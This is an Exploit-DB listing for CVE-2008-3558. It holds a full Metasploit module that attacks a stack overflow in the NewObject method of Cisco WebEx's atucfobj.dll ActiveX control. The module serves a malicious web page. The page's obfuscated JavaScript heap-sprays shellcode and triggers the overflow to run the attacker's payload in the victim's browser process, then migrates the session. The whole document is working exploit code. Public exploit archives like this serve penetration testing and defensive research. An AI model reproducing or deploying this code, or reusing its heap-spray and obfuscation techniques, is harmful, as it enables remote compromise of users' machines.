标题: Cisco WebEx Meeting Manager UCF - 'atucfobj.dll' ActiveX NewObject Method Buffer Overflow (Metasploit) EDB-ID: 16604 CVE: 2008-3558 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: webex_ucf_newobject.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in WebEx's WebexUCFObject
    ActiveX Control. If an long string is passed to the 'NewObject' method, a stack-
    based buffer overflow will occur when copying attacker-supplied data using the
    sprintf function.

    It is noteworthy that this vulnerability was discovered and reported by multiple
    independent researchers. To quote iDefense's advisory, "Before this issue was
    publicly reported, at least three independent security researchers had knowledge
    of this issue; thus, it is reasonable to believe that even more people were aware
    of this issue before disclosure."

    NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload
    into memory unmodified.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Tobias Klein',     # initial discoverer
     'Elazar Broad',     # initial discoverer
     'Guido Landi',      # milw0rm exploit
     'jduck'             # metasploit version
    ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2008-3558' ],
     [ 'OSVDB', '47344' ],
     [ 'BID', '30578' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/6220' ],
     [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=849' ],
     [ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-009.txt' ],
     [ 'URL', 'http://tk-blog.blogspot.com/2008/09/vulnerability-rediscovery-xss-and-webex.html' ],
     [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2008-08/0084.html' ],
     [ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a00809e2006.shtml' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00",
     'DisableNops' => true
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Tested with atucfobj.dll v20.2008.2601.4928
     [ 'Windows Universal', { 'Ret' => 0x0c0c0c0c } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 06 2008'))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)

  # ActiveX parameters
  progid = "WebexUCFObject.WebexUCFObject"
  clsid = "32E26FD9-F435-4A20-A561-35D4B987CFDC"

  # Set parameters
  fnname = rand_text_alpha(8+rand(8))
  offset = 232

  # Build the exploit buffer
  sploit = rand_text_alphanumeric(offset)
  sploit << [target.ret - 0x20000].pack('V')

  # Encode variables
  sploit = Rex::Text.to_hex(sploit, '%')
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Prepare the heap spray parameters
  spray_num = "0x%x" % target.ret

  # Generate the final javascript
  js = %Q|
function #{fnname}()
{
try {
var obj = new ActiveXObject("#{progid}");
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);
var sploit = my_unescape("#{sploit}");
obj.NewObject(sploit);
} catch( e ) { window.location = 'about:blank' ; }
}
|

  # Obfuscate the javascript
  opts = {
   'Strings' => true,
   'Symbols' => {
    'Variables' => %w{ obj my_unescape shellcode arg1 arg2 sploit }
   }
  }
  js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
  js.obfuscate()

  # Build the final HTML
  content = %Q|<html>
<head>
<script language=javascript>
#{js}
</script>
</head>
<body onload="#{fnname}()">
Please wait...
</body>
</html>
|

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  send_response_html(cli, content)

  handler(cli)

 end

end URL: https://www.exploit-db.com/exploits/16604